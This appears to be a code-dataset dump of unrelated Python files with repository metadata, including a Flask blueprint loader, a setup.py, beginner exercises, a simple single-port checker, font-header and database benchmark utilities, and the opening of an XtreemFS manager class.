accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name

0

423

0

68

175a3b4d2739554618c982905727d9731a509a3f

934

py

Python

boot.py

Ca11MeE/easy_frame

c3ec3069e3f61d1c01e5bd7ebbdf28e953a8ffa8

[ "Apache-2.0" ]

null

boot.py

Ca11MeE/easy_frame

c3ec3069e3f61d1c01e5bd7ebbdf28e953a8ffa8

[ "Apache-2.0" ]

null

boot.py

Ca11MeE/easy_frame

c3ec3069e3f61d1c01e5bd7ebbdf28e953a8ffa8

[ "Apache-2.0" ]

null

# coding: utf-8 from flask import Flask import mysql from mysql import Pool import properties # WEB(jsonascii) app=Flask(__name__) app.config['JSON_AS_ASCII'] = False # # dir_path,routes,'/routes' print('') mysql.pool = Pool.Pool() # print('') print('') for path in properties.blueprint_path: map_apps(path)

22.780488

96

0.639186

# coding: utf-8 from flask import Flask import mysql,os,re from mysql import Pool import properties # 定义WEB容器(同时防止json以ascii解码返回) app=Flask(__name__) app.config['JSON_AS_ASCII'] = False # 处理各模块中的自动注入以及组装各蓝图 # dir_path中为蓝图模块路径,例如需要引入的蓝图都在routes文件夹中,则传入参数'/routes' def map_apps(dir_path): path=os.getcwd()+dir_path list=os.listdir(path) print('蓝图文件夹:','.',dir_path) # list.remove('__pycache__') while list: try: file=list.pop(0) if file.startswith('__') and file.endswith('__'): continue print('加载蓝图模块:',file) f_model=__import__(re.sub('/','',dir_path)+'.'+re.sub('\.py','',file),fromlist=True) app.register_blueprint(f_model.app) except: pass def get_app(): return app print('加载数据库模块') mysql.pool = Pool.Pool() # print('加载完毕') print('蓝图初始化') for path in properties.blueprint_path: map_apps(path)

258

0

479

0

6

45

84eea4a37f53204b935d3f1eece7e1963b816b5c

1,893

py

Python

setup.py

bastian-src/SysMonTask

95868e230efa130e820f91893a3c8d5664632ac4

[ "BSD-3-Clause" ]

1

2021-05-20T09:31:26.000Z

setup.py

bastian-src/SysMonTask

95868e230efa130e820f91893a3c8d5664632ac4

[ "BSD-3-Clause" ]

null

setup.py

bastian-src/SysMonTask

95868e230efa130e820f91893a3c8d5664632ac4

[ "BSD-3-Clause" ]

null

from setuptools import setup, find_packages import os with open("README.md", "r") as fh: long_description = fh.read() setup( name='sysmontask', version='1.3.9', description='System Monitor With UI Like Windows', url='https://github.com/KrispyCamel4u/SysMonTask', author='Neeraj Kumar', author_email='[email protected]', license='BSD-3', long_description=long_description, long_description_content_type="text/markdown", classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: BSD License", "Operating System :: POSIX :: Linux", 'Topic :: System :: Monitoring', ], include_package_data=True, data_files=get_data_files(), install_requires=['psutil>=5.7.2','PyGObject','pycairo'], packages=find_packages(), entry_points=dict( console_scripts=[ 'sysmontask=sysmontask.sysmontask:start', 'sysmontask.set_default=sysmontask.theme_setter:set_theme_default', 'sysmontask.set_light=sysmontask.theme_setter:set_theme_light', 'sysmontask.set_dark=sysmontask.theme_setter:set_theme_dark'] ) ) os.system("sudo glib-compile-schemas /usr/share/glib-2.0/schemas") print("gschema Compiled")

39.4375

159

0.692552

from setuptools import setup, find_packages import os with open("README.md", "r") as fh: long_description = fh.read() def get_data_files(): data_files = [('/usr/share/sysmontask/glade_files', ['glade_files/disk.glade','glade_files/diskSidepane.glade','glade_files/gpu.glade', 'glade_files/gpuSidepane.glade','glade_files/net.glade','glade_files/netSidepane.glade','glade_files/sysmontask.glade','glade_files/filter_dialog.glade']), ('/usr/share/sysmontask/icons',['icons/SysMonTask.png']), ('/usr/share/doc/sysmontask',['AUTHORS', 'README.md','LICENSE']), ('/usr/share/applications',['SysMonTask.desktop']), ('/usr/share/glib-2.0/schemas',['com.github.camelneeraj.sysmontask.gschema.xml']) ] return data_files setup( name='sysmontask', version='1.3.9', description='System Monitor With UI Like Windows', url='https://github.com/KrispyCamel4u/SysMonTask', author='Neeraj Kumar', author_email='[email protected]', license='BSD-3', long_description=long_description, long_description_content_type="text/markdown", classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: BSD License", "Operating System :: POSIX :: Linux", 'Topic :: System :: Monitoring', ], include_package_data=True, data_files=get_data_files(), install_requires=['psutil>=5.7.2','PyGObject','pycairo'], packages=find_packages(), entry_points=dict( console_scripts=[ 'sysmontask=sysmontask.sysmontask:start', 'sysmontask.set_default=sysmontask.theme_setter:set_theme_default', 'sysmontask.set_light=sysmontask.theme_setter:set_theme_light', 'sysmontask.set_dark=sysmontask.theme_setter:set_theme_dark'] ) ) os.system("sudo glib-compile-schemas /usr/share/glib-2.0/schemas") print("gschema Compiled")

0

603

0

23

210a678a3c714cdead1544323597dcdb1cff8f70

323

py

Python

day8/d8p2.py

Akankshasharmaa/100DaysOfCode

395bd8bd063495af7d04ec7b2f819923f502059f

[ "MIT" ]

2

2021-12-22T07:43:14.000Z

2021-12-24T12:07:33.000Z

day8/d8p2.py

Akankshasharmaa/100DaysOfCode

395bd8bd063495af7d04ec7b2f819923f502059f

[ "MIT" ]

null

day8/d8p2.py

Akankshasharmaa/100DaysOfCode

395bd8bd063495af7d04ec7b2f819923f502059f

[ "MIT" ]

1

2021-12-22T07:43:26.000Z

result = non_start('Hello', 'There') print(result) result = non_start('java', 'code') print(result) result = non_start('shotl', '') print(result)

24.846154

54

0.616099

def non_start(str1, str2): if len(str1) >= 1 and len(str2) >= 1: newstr = str1[1:len(str1)] + str2[1:len(str2)] return newstr else: return False result = non_start('Hello', 'There') print(result) result = non_start('java', 'code') print(result) result = non_start('shotl', '') print(result)

0

155

0

22

a1b5ff50c9c782fea188c9b6fb9e25d0a0c8232c

705

py

Python

port.py

hawk-0fcx/port

223024c4ca7b95c34182b74d8116280f9371fc53

[ "Apache-2.0" ]

1

2022-03-12T11:33:16.000Z

port.py

hawk-unity/port

223024c4ca7b95c34182b74d8116280f9371fc53

[ "Apache-2.0" ]

null

port.py

hawk-unity/port

223024c4ca7b95c34182b74d8116280f9371fc53

[ "Apache-2.0" ]

null

import socket import os os.system("clear") from colorama import Fore s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) print(""" _ _ | |__ __ ___ _| | __ _ | '_ \ / _` \ \ /\ / / |/ /| |_ | | | | (_| |\ V V /| <_ _| |_| |_|\__,_| \_/\_/ |_|\_\|_| ^port tarama^ """) host = input(Fore.RED + "LTFEN P ADRESN GRNZ : ") port = int(input(Fore.RED + "TARATILACAK PORT ADRESN GRNZ : ")) portScanner(port)

26.111111

68

0.537589

import socket import os os.system("clear") import colorama from colorama import Fore, Back, Style, init s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) print(""" _ _ | |__ __ ___ _| | __ _ | '_ \ / _` \ \ /\ / / |/ /| |_ | | | | (_| |\ V V /| <_ _| |_| |_|\__,_| \_/\_/ |_|\_\|_| ^port tarama^ """) host = input(Fore.RED + "LÜTFEN İP ADRESİNİ GİRİNİZ : ") port = int(input(Fore.RED + "TARATILACAK PORT ADRESİNİ GİRİNİZ : ")) def portScanner(port): if s.connect_ex((host, port)): print(Fore.GREEN + "BU PORT KAPALI") else: print(Fore.GREEN + "BU PORT AÇIK") portScanner(port)

26

0

133

0

13

45

09bff90f642cffe4743a7a3613eb947ba5cade52

156

py

Python

_solved/solutions/01-introduction-geospatial-data19.py

lleondia/geopandas-tutorial

5128fd6865bbd979a7b4e5b8cb4d0de51bead029

[ "BSD-3-Clause" ]

341

2018-04-26T08:46:05.000Z

2022-03-01T08:13:39.000Z

_solved/solutions/01-introduction-geospatial-data19.py

lleondia/geopandas-tutorial

5128fd6865bbd979a7b4e5b8cb4d0de51bead029

[ "BSD-3-Clause" ]

24

2020-09-30T19:57:14.000Z

2021-10-05T07:21:09.000Z

_solved/solutions/01-introduction-geospatial-data19.py

lleondia/geopandas-tutorial

5128fd6865bbd979a7b4e5b8cb4d0de51bead029

[ "BSD-3-Clause" ]

128

2018-05-07T07:30:29.000Z

2022-02-19T17:53:39.000Z

# As comparison, the misleading plot when not turning the population number into a density districts.plot(column='population', figsize=(12, 6), legend=True)

78

90

0.788462

# As comparison, the misleading plot when not turning the population number into a density districts.plot(column='population', figsize=(12, 6), legend=True)

0

15c549b448318131afb3c0205f8085e21f227080

9,494

py

Python

update_headers.py

simoncozens/pysilfont

bb8a9fc58a83e074bbcc466ba058841845b9107e

[ "MIT" ]

41

2015-05-21T21:12:26.000Z

2022-02-17T17:23:14.000Z

update_headers.py

simoncozens/pysilfont

bb8a9fc58a83e074bbcc466ba058841845b9107e

[ "MIT" ]

63

2015-05-15T10:25:55.000Z

2021-02-23T04:51:17.000Z

update_headers.py

simoncozens/pysilfont

bb8a9fc58a83e074bbcc466ba058841845b9107e

[ "MIT" ]

12

2015-06-12T11:52:08.000Z

2020-09-23T10:40:59.000Z

#!/usr/bin/env python 'Checks for standard headers and update version and copyright info in python files' __url__ = 'http://github.com/silnrsi/pysilfont' __copyright__ = 'Copyright (c) 2016 SIL International (http://www.sil.org)' __license__ = 'Released under the MIT License (http://opensource.org/licenses/MIT)' __author__ = 'David Raymond' cyear = "2016" # Year to use if no other copyright year present from silfont.core import execute argspec = [ ('action',{'help': 'Action - report or update', 'nargs': '?', 'default': 'report', 'choices': ('report','update')},{}), ('-l','--log',{'help': 'Log file'}, {'type': 'outfile', 'def': 'local/update_headers.log'})] execute(None,doit, argspec)

48.192893

123

0.425637

#!/usr/bin/env python 'Checks for standard headers and update version and copyright info in python files' __url__ = 'http://github.com/silnrsi/pysilfont' __copyright__ = 'Copyright (c) 2016 SIL International (http://www.sil.org)' __license__ = 'Released under the MIT License (http://opensource.org/licenses/MIT)' __author__ = 'David Raymond' cyear = "2016" # Year to use if no other copyright year present from silfont.core import execute import os,sys argspec = [ ('action',{'help': 'Action - report or update', 'nargs': '?', 'default': 'report', 'choices': ('report','update')},{}), ('-l','--log',{'help': 'Log file'}, {'type': 'outfile', 'def': 'local/update_headers.log'})] def doit(args) : global file action = args.action params = args.paramsobj logger=params.logger varlist = ['url', 'copyright', 'license', 'author', 'version'] copyrightpre = 'Copyright (c) ' copyrightpost = ' SIL International (http://www.sil.org)' standards = { 'copyright': copyrightpre + cyear + copyrightpost, 'version': params.sets['default']['version'], 'url': 'http://github.com/silnrsi/pysilfont', 'license': 'Released under the MIT License (http://opensource.org/licenses/MIT)'} pythonfiles = {} otherfiles = [] for subdir, dirs, files in os.walk("."): if not (subdir=="." or subdir[0:5] in ("./lib","./scr")) : continue if subdir[0:] == "./lib/pysilfont.egg-info" : continue for filen in files: if filen[-1:]=="~" : continue if filen[-3:]=="pyc" : continue if filen in ("__init__.py", "ez_setup.py") : continue needver = (True if filen in ('setup.py', 'param.py') else False) fulln = os.path.join(subdir,filen) file = open(fulln,"r") line1 = nextline() pyline1 = (True if line1 in ("#!/usr/bin/env python", "#!/usr/bin/python") else False) if pyline1 or filen[-3:] == ".py" : # Look for standard headers headererror = [] headers = "#!/usr/bin/env python" if pyline1 : # Read description which may be single or multiline line = nextline() headers = headers + "\n"+line if line[0:3] == "'''" : while line[-3:] != "'''" : line = nextline() if line =="EOF" : break # Must be EOF headers = headers + "\n"+line if line =="EOF" : headererror.append("No closing ''' to description") elif line[0:1] != "'" : headererror.append("No description") if headererror : for line in headererror : logger.log(fulln + ": "+line,"E") continue # Read header variables headvar={} line = nextline() while line[0:2] == "__" : endn = line.find("__ = '") if endn == -1 : std = headererror.append("Invalid variable line: " + line) varn = line[2:endn] val = line[endn+6:-1] headvar[varn] = val line = nextline() # Check header variables updatevars = {} reportvars = {} author = None for varn in varlist : if varn in headvar: headval = headvar[varn] if varn == 'author' : # Simply use existing author author = headval elif varn == "version" and not needver : updatevars[varn] = "deleted" elif varn == "copyright" : # Need to check dates and use oldest # Find existing dates, assuming format 20nn and one or two dates cdate = cyear valid = True datpos = headval.find("20") if datpos != -1 : # read any more digits cdate='20' nextpos = datpos+2 while headval[nextpos] in '0123456789' and nextpos < len(headval) : cdate = cdate + headval[nextpos] nextpos += 1 # Look for second date rest = headval[nextpos:] datpos = rest.find("20") date2 = "" if datpos != -1 : date2 = '20' nextpos = datpos+2 while rest[nextpos] in '0123456789' and nextpos < len(rest) : date2 = date2 + rest[nextpos] nextpos += 1 cval=int(cdate) if cval < 2000 or cval > int(cyear) : valid = False if date2 != "" : val2 = int(date2) if val2 < cval or val2 > int(cyear) : valid = False if not valid : cdate = cyear copyright = copyrightpre + cdate + copyrightpost if headval != copyright : updatevars[varn] = ("updated" if valid else "update (invalid dates)") else : if headval != standards[varn] : updatevars[varn] = "updated" else : if varn == 'author' : reportvars[varn] = "no author" elif varn == "version" and not needver : pass else: updatevars[varn] ="added" for varn in headvar: if varn not in varlist: reportvars[varn] = "non-standard" else : logger.log( fulln + ": " + "No python header - first line is " + line1, "E") continue else : otherfiles.append(fulln) continue # Now have python file with no errors, so can update headers if action == 'update' and updatevars : logger.log("Updating "+fulln,"P") outfile = open("update_headers_temp.txt", "w") outfile.write(headers + "\n") for varn in varlist : if varn == "version" and not needver : pass elif varn == "author" : if author : outfile.write("__author__ = '" + author + "'\n") elif varn == "copyright" : outfile.write("__copyright__ = '" + copyright + "'\n") else: outfile.write("__" + varn + "__ = '" + standards[varn] + "'\n") if varn in updatevars : reason = updatevars[varn] if reason == "no author" : logger.log("No author header variable ", "I") else : logger.log("Header variable " + varn + " " + reason, "I") for varn in reportvars : reason = reportvars[varn] if reason == "non-standard" : outfile.write("__" + varn + "__ = '" + headvar[varn] + "'\n") logger.log("Non-standard header variable " + varn + " retained", "W") else: logger.log("No author header variable", "I") # Write the rest of the file outfile.write(line + "\n") # last line read checking headers for line in file: outfile.write(line) outfile.close() file.close() os.rename(fulln, fulln+"~") os.rename("update_headers_temp.txt",fulln) else : for varn in updatevars : logger.log(fulln + ": Header variable " + varn + " will be " + updatevars[varn], "I") for varn in reportvars : reason = reportvars[varn] if reason == "non-standard" : logger.log(fulln + ": Non-standard header variable " + varn + " present", "W") else: logger.log(fulln + ": No author header variable", "I") print "\n"+"Non-python files"+"\n" for filen in otherfiles: print filen return def nextline() : global file line = file.readline() line = ("EOF" if line == "" else line.strip()) return line execute(None,doit, argspec)

0

8,728

0

-8

68

83d2715a3c28310e7a615f390760361ca9c50fc6

1,976

py

Python

rapidtest/executors/__init__.py

yehzhang/RapidTest

2302fc10ddafba1d16ef1d7448d46c66f5a05da2

[ "MIT" ]

null

rapidtest/executors/__init__.py

yehzhang/RapidTest

2302fc10ddafba1d16ef1d7448d46c66f5a05da2

[ "MIT" ]

null

rapidtest/executors/__init__.py

yehzhang/RapidTest

2302fc10ddafba1d16ef1d7448d46c66f5a05da2

[ "MIT" ]

null

import atexit import logging logger = logging.getLogger(__name__) atexit.register(_close_executors) del _close_executors

30.875

97

0.674089

import atexit import logging from inspect import isclass from .common_executors import BaseExecutor from .externel_executors import ExternalExecutorFabric from .java import * from .operations import Operation, Operations from .python import * from ..utils import isstring logger = logging.getLogger(__name__) class BaseTarget(object): def __init__(self, executor): self.executor = executor class Target(BaseTarget): _executors_pool = {} def __init__(self, target, target_name=None, env=None): """Factory class for building executors :param Callable|str target: a native object or a path to an external file, which contains the structure to be tested :param str target_name: if target is a path, this indicates the name of the structure to test :param str env: environment of the target, usually just the language name itself """ executor_id = (target, target_name) if executor_id not in self._executors_pool: # Find the corresponding executor if isstring(target): cls = ExternalExecutorFabric.get(env) or ExternalExecutorFabric.guess(target) executor = cls(target, target_name) elif callable(target): executor = (ClassExecutor if isclass(target) else FunctionExecutor)(target) else: raise TypeError('Target is not a callable nor str') self._executors_pool[executor_id] = executor super(Target, self).__init__(self._executors_pool[executor_id]) @classmethod def close(cls): for executor_id, e in list(cls._executors_pool.items()): target, _ = executor_id logger.debug('Executor %s on %s closed', e.ENVIRONMENT, target) e.close() del cls._executors_pool[executor_id] def _close_executors(): Target.close() atexit.register(_close_executors) del _close_executors

0

259

0

1,256

0

21

0

89

224

5855a718f19fd271a7d90653c654f8cb39f399af

83

py

Python

src/polls/forLoop5.py

Prince-linux/python-learning

75335ed497081b557400a05320b52b8889c3e1f4

[ "MIT" ]

1

2015-08-27T13:03:27.000Z

src/polls/forLoop5.py

Prince-linux/python-learning

75335ed497081b557400a05320b52b8889c3e1f4

[ "MIT" ]

22

2015-08-23T18:17:30.000Z

2015-09-16T13:38:36.000Z

src/polls/forLoop5.py

Prince-linux/python-learning

75335ed497081b557400a05320b52b8889c3e1f4

[ "MIT" ]

null

for i in range(201, 0, -2): print(i) for i in range(100, 0, -1): print(i)

13.833333

27

0.53012

for i in range(201, 0, -2): print(i) for i in range(100, 0, -1): print(i)

0

ca4f6f3248cffb86968c72e3aaf6cc6ec45f47c6

430

py

Python

Vars & Data Entry/exercicio 3.py

SkaarlK/Learning-Python

bbf011182fb5bf876aa9a274400c41a266a0e8c7

[ "MIT" ]

2

2022-01-01T19:31:56.000Z

2022-01-01T19:32:54.000Z

Vars & Data Entry/exercicio 3.py

SkaarlK/Learning-Python

bbf011182fb5bf876aa9a274400c41a266a0e8c7

[ "MIT" ]

null

Vars & Data Entry/exercicio 3.py

SkaarlK/Learning-Python

bbf011182fb5bf876aa9a274400c41a266a0e8c7

[ "MIT" ]

null

dias = int(input("Insira os dias para virarem segundos: ")) horas = int(input("Insira as horas para virarem segundos: ")) minutos = int(input("Insira os minutos para virarem segundos: ")) segundos = int(input("Insira os segundos para serem somados aos anteriores: ")) segundos += (dias * 86400) + (horas * 3600) + (minutos * 60) print("Total de dias, horas, minutos e segundos informados foram de: " + str(segundos) + " segundos")

71.666667

101

0.711628

dias = int(input("Insira os dias para virarem segundos: ")) horas = int(input("Insira as horas para virarem segundos: ")) minutos = int(input("Insira os minutos para virarem segundos: ")) segundos = int(input("Insira os segundos para serem somados aos anteriores: ")) segundos += (dias * 86400) + (horas * 3600) + (minutos * 60) print("Total de dias, horas, minutos e segundos informados foram de: " + str(segundos) + " segundos")

0

c06c9c6d5402fedf403bcb579088899fc6cd9baf

748

py

Python

motivate_gui.py

neesara/motivate

36cfb2a3502d48b99189841f35b9693e40dd8532

[ "MIT" ]

null

motivate_gui.py

neesara/motivate

36cfb2a3502d48b99189841f35b9693e40dd8532

[ "MIT" ]

null

motivate_gui.py

neesara/motivate

36cfb2a3502d48b99189841f35b9693e40dd8532

[ "MIT" ]

null

import tkinter as tk import os import random import datetime root = tk.Tk() root.title("Motivation") root.configure(background='white') command=os.getcwd()+'/motivate/motivate.py' quote=os.popen(command).read() color=random.choice(['green','blue','purple','red','orange','brown','magenta','violet','maroon','olive','lime','teal','navy','DarkSlateGray','m','indigo','crimson']) label=tk.Label(root, text = quote ,fg=color, bg='white', font='Helvetica 10',wraplength=900).pack() if datetime.datetime.today().weekday() == 4 : label=tk.Label(root, text = "Timesheet!!" ,fg='red', bg='white', font='Helvetica 20',wraplength=900,pady=10).pack() quit_btn=tk.Button(root,text="Quit",command=root.destroy) quit_btn.pack(side="bottom") root.mainloop()

39.368421

165

0.71123

import tkinter as tk import os import random import datetime root = tk.Tk() root.title("Motivation") root.configure(background='white') command=os.getcwd()+'/motivate/motivate.py' quote=os.popen(command).read() color=random.choice(['green','blue','purple','red','orange','brown','magenta','violet','maroon','olive','lime','teal','navy','DarkSlateGray','m','indigo','crimson']) label=tk.Label(root, text = quote ,fg=color, bg='white', font='Helvetica 10',wraplength=900).pack() if datetime.datetime.today().weekday() == 4 : label=tk.Label(root, text = "Timesheet!!" ,fg='red', bg='white', font='Helvetica 20',wraplength=900,pady=10).pack() quit_btn=tk.Button(root,text="Quit",command=root.destroy) quit_btn.pack(side="bottom") root.mainloop()

0

57bdb73e1704842d0766817fd5391f99486fe936

2,062

py

Python

tests/test_normalization.py

learniotai/iotai-sensor-classifications

ba2527cb317afa30a5c495d1cddc16f7dc2936ed

[ "Apache-2.0" ]

null

tests/test_normalization.py

learniotai/iotai-sensor-classifications

ba2527cb317afa30a5c495d1cddc16f7dc2936ed

[ "Apache-2.0" ]

null

tests/test_normalization.py

learniotai/iotai-sensor-classifications

ba2527cb317afa30a5c495d1cddc16f7dc2936ed

[ "Apache-2.0" ]

null

"""Test normalizing gesture recording data.""" SAMPLES_PER_RECORDING = 160

54.263158

113

0.727934

"""Test normalizing gesture recording data.""" import os import numpy as np from iotai_sensor_classification.recording import read_recordings from iotai_sensor_classification.normalization import normalize_mean_std_dict from data.gestures import linear_accelerometer from iotai_sensor_classification.plot_util import column_histograms, plot_columns, \ plot_lines, histogram_overlay SAMPLES_PER_RECORDING = 160 def test_normalize_gesture_data(): recordings_dir = os.path.dirname(linear_accelerometer.__file__) raw_gestures = read_recordings(recordings_dir=recordings_dir) normalized_gestures = normalize_mean_std_dict(raw_gestures) test_output = os.path.join("test_output", "gestures", "normalized") os.makedirs(test_output, exist_ok=True) for gesture in normalized_gestures.keys(): normalized = normalized_gestures[gesture] column_histograms(normalized, name=f"{gesture} gesture normalized", filepath=os.path.join(test_output, f"{gesture}-norm-histograms.png")) plot_columns(normalized, name=f"{gesture} gesture normalized", filepath=os.path.join(test_output, f"{gesture}-norm-plots.png")) motion_measures = normalized.drop(columns=['time', 'label']) plot_lines(motion_measures, name=f"{gesture} normalized measurements", filepath=os.path.join(test_output, f"{gesture}-norm-lines.png")) plot_lines(motion_measures, name=f"{gesture} normalized window={SAMPLES_PER_RECORDING}", filepath=os.path.join(test_output, f"{gesture}-norm-lines-window{SAMPLES_PER_RECORDING}.png"), vertical_tick_spacing=SAMPLES_PER_RECORDING) histogram_overlay(motion_measures, name=f"{gesture} normalized measurements", filepath=os.path.join(test_output, f"{gesture}-norm-over-hist.png")) # https://numpy.org/doc/stable/reference/generated/numpy.allclose.html assert np.allclose(normalized.mean(), 0.0) assert np.allclose(normalized.std(), 1.0)

0

1,621

0

207

156

fb9c84f69582b895624fd919a820ac62d428a59c

4,791

py

Python

examples/book_view/benchmark.py

toluaina/essync

4a0119d99760eaa193f4ae60abd2b5f38482b280

[ "BSD-3-Clause" ]

1

2019-09-26T21:05:37.000Z

examples/book_view/benchmark.py

toluaina/essync

4a0119d99760eaa193f4ae60abd2b5f38482b280

[ "BSD-3-Clause" ]

null

examples/book_view/benchmark.py

toluaina/essync

4a0119d99760eaa193f4ae60abd2b5f38482b280

[ "BSD-3-Clause" ]

1

2019-08-27T16:19:09.000Z

FIELDS = { "isbn": "isbn13", "title": "sentence", "description": "text", "copyright": "word", } if __name__ == "__main__": main()

29.757764

77

0.529743

import json from random import choice from typing import Set import click import sqlalchemy as sa from faker import Faker from schema import Book from sqlalchemy.orm import sessionmaker from pgsync.base import pg_engine from pgsync.constants import DELETE, INSERT, TG_OP, TRUNCATE, UPDATE from pgsync.utils import get_config, show_settings, Timer FIELDS = { "isbn": "isbn13", "title": "sentence", "description": "text", "copyright": "word", } def insert_op(session: sessionmaker, model, nsize: int) -> None: faker: Faker = Faker() rows: Set = set([]) for _ in range(nsize): kwargs = {} for column in model.__table__.columns: if column.foreign_keys: foreign_key = list(column.foreign_keys)[0] pk = [ column.name for column in foreign_key.column.table.columns if column.primary_key ][0] fkey = ( session.query(foreign_key.column.table) .order_by(sa.func.random()) .limit(1) ) value = getattr(fkey[0], pk) kwargs[column.name] = value elif column.primary_key: continue else: field = FIELDS.get(column.name) if not field: # continue raise RuntimeError(f"field {column.name} not in mapping") value = getattr(faker, field)() kwargs[column.name] = value print(f"Inserting {model.__table__} VALUES {kwargs}") row = model(**kwargs) rows.add(row) with Timer(f"Created {nsize} {model.__table__} in"): try: session.add_all(rows) session.commit() except Exception as e: print(f"Exception {e}") session.rollback() def update_op(session: sessionmaker, model, nsize: int) -> None: column: str = choice(list(FIELDS.keys())) if column not in [column.name for column in model.__table__.columns]: raise RuntimeError() faker: Faker = Faker() with Timer(f"Updated {nsize} {model.__table__}"): for _ in range(nsize): field = FIELDS.get(column) value = getattr(faker, field)() row = ( session.query(model) .filter(getattr(model, column) != value) .order_by(sa.func.random()) .limit(1) ) if row: print(f'Updating {model.__table__} SET {column} = "{value}"') try: setattr(row[0], column, value) session.commit() except Exception as e: session.rollback() def delete_op(session: sessionmaker, model, nsize: int) -> None: with Timer(f"Deleted {nsize} {model.__table__}"): for _ in range(nsize): row = session.query(model).order_by(sa.func.random()).limit(1) pk = [ column.name for column in filter( lambda x: x.primary_key, model.__table__.columns ) ][0] if row: try: value = getattr(row[0], pk) print(f"Deleting {model.__table__} WHERE {pk} = {value}") session.query(model).filter( getattr(model, pk) == value ).delete() session.commit() except Exception as e: session.rollback() @click.command() @click.option( "--config", "-c", help="Schema config", type=click.Path(exists=True), ) @click.option("--daemon", "-d", is_flag=True, help="Run as a daemon") @click.option("--nsize", "-n", default=5000, help="Number of samples") @click.option( "--tg_op", "-t", help="TG_OP", type=click.Choice( TG_OP, case_sensitive=False, ), ) def main(config, nsize, daemon, tg_op): show_settings() config: str = get_config(config) documents: dict = json.load(open(config)) engine = pg_engine( database=documents[0].get("database", documents[0]["index"]) ) Session = sessionmaker(bind=engine, autoflush=False, autocommit=False) session = Session() model = Book func = { INSERT: insert_op, UPDATE: update_op, DELETE: delete_op, } # lets do only the book model for now while True: if tg_op: func[tg_op](session, model, nsize) else: func[choice(TG_OP)](session, model, nsize) if not daemon: break if __name__ == "__main__": main()

0

1,070

0

3,123

0

105

336

b388ad646acdaff30e3ae11dca9c423ac5dc3c80

794

py

Python

resources/ArchivesSpace post-migration scripts/TitleCapitalization.py

smith-special-collections/aspace-migration

0ad6f1346df52e12739f27b54570586af4362559

[ "MIT" ]

2

2016-09-14T12:31:40.000Z

2018-05-25T02:45:37.000Z

resources/ArchivesSpace post-migration scripts/TitleCapitalization.py

smith-special-collections/aspace-migration

0ad6f1346df52e12739f27b54570586af4362559

[ "MIT" ]

1

2017-04-13T16:24:59.000Z

2017-04-18T19:30:08.000Z

resources/ArchivesSpace post-migration scripts/TitleCapitalization.py

smith-special-collections/aspace-migration

0ad6f1346df52e12739f27b54570586af4362559

[ "MIT" ]

null

import requests import json aspace_url = 'http://localhost:8089' username = 'admin' password = 'admin' repo_num = '2' auth = requests.post(aspace_url+'/users/'+username+'/login?password='+password).json() session = auth["session"] headers = {'X-ArchivesSpace-Session':session} for d in range(1,6): resource_json = requests.get(aspace_url+'/repositories/'+repo_num+'/resources/'+str(d), headers=headers).json() resource_title = resource_json['title'] print 'Current title is: ' +resource_title if 'Papers' in resource_title: resource_json["title"] = resource_json['title'].replace(" Papers"," papers") updated = requests.post(aspace_url+'/repositories/'+repo_num+'/resources/'+str(d), headers=headers, data=json.dumps(resource_json)) print 'New title is: ' + resource_json["title"]

37.809524

133

0.730479

import requests import json aspace_url = 'http://localhost:8089' username = 'admin' password = 'admin' repo_num = '2' auth = requests.post(aspace_url+'/users/'+username+'/login?password='+password).json() session = auth["session"] headers = {'X-ArchivesSpace-Session':session} for d in range(1,6): resource_json = requests.get(aspace_url+'/repositories/'+repo_num+'/resources/'+str(d), headers=headers).json() resource_title = resource_json['title'] print 'Current title is: ' +resource_title if 'Papers' in resource_title: resource_json["title"] = resource_json['title'].replace(" Papers"," papers") updated = requests.post(aspace_url+'/repositories/'+repo_num+'/resources/'+str(d), headers=headers, data=json.dumps(resource_json)) print 'New title is: ' + resource_json["title"]

0

2abcfcc2281955e4ae7cbe49ec5370d4ae3c495c

540

py

Python

Node.py

akshaykamath/Bayes-Network-Inference-Algorithms

3a0867130dd74bf2444a7ce4f972fff6b1a989dc

[ "MIT" ]

null

Node.py

akshaykamath/Bayes-Network-Inference-Algorithms

3a0867130dd74bf2444a7ce4f972fff6b1a989dc

[ "MIT" ]

null

Node.py

akshaykamath/Bayes-Network-Inference-Algorithms

3a0867130dd74bf2444a7ce4f972fff6b1a989dc

[ "MIT" ]

null

__author__ = 'Akshay'

21.6

48

0.625926

__author__ = 'Akshay' class Node: initial_time = 0 finish_time = 0 name = None child_nodes = None parent_nodes = None conditional_probability_table = {} def __init__(self, nm): self.name = nm self.parent_distance = 0 self.child_nodes = [] self.parent_nodes = [] def add_child(self, node=None, weight=None): self.child_nodes.append((node, weight)) node.parent_nodes.append(self) def has_child(self, node=None): return node in self.child_nodes

0

493

0

23

90d1a8e84d85bc7f4e6d8664cd0c5d4332376007

38,126

py

Python

conpaas-services/src/conpaas/services/xtreemfs/manager/manager.py

bopopescu/conpaas

e0a2955ae3e7da7525d799bed411e9f76ecf0919

[ "BSD-3-Clause" ]

1

2015-09-20T18:20:01.000Z

conpaas-services/src/conpaas/services/xtreemfs/manager/manager.py

bopopescu/conpaas

e0a2955ae3e7da7525d799bed411e9f76ecf0919

[ "BSD-3-Clause" ]

1

2020-07-27T11:56:18.000Z

conpaas-services/src/conpaas/services/xtreemfs/manager/manager.py

bopopescu/conpaas

e0a2955ae3e7da7525d799bed411e9f76ecf0919

[ "BSD-3-Clause" ]

3

2018-09-14T16:54:14.000Z

2020-07-26T03:14:56.000Z

38.864424

138

0.577087

# -*- coding: utf-8 -*- """ :copyright: (C) 2010-2013 by Contrail Consortium. """ from threading import Thread from conpaas.core.expose import expose from conpaas.core.manager import BaseManager from conpaas.core.manager import ManagerException from conpaas.core.https.server import HttpJsonResponse, HttpErrorResponse from conpaas.services.xtreemfs.agent import client import uuid import base64 import subprocess def invalid_arg(msg): return HttpErrorResponse(ManagerException( ManagerException.E_ARGS_INVALID, detail=msg).message) class XtreemFSManager(BaseManager): def __init__(self, config_parser, **kwargs): BaseManager.__init__(self, config_parser) # node lists self.nodes = [] # all nodes self.osdNodes = [] # only the OSD nodes self.mrcNodes = [] # onle the MRC nodes self.dirNodes = [] # only the DIR nodes # node counters self.dirCount = 0 self.mrcCount = 0 self.osdCount = 0 # wether we want to keep storage volumes upon OSD nodes deletion self.persistent = False # default value for OSD volume size self.osd_volume_size = 1024 # dictionaries mapping node IDs to uuids self.dir_node_uuid_map = {} 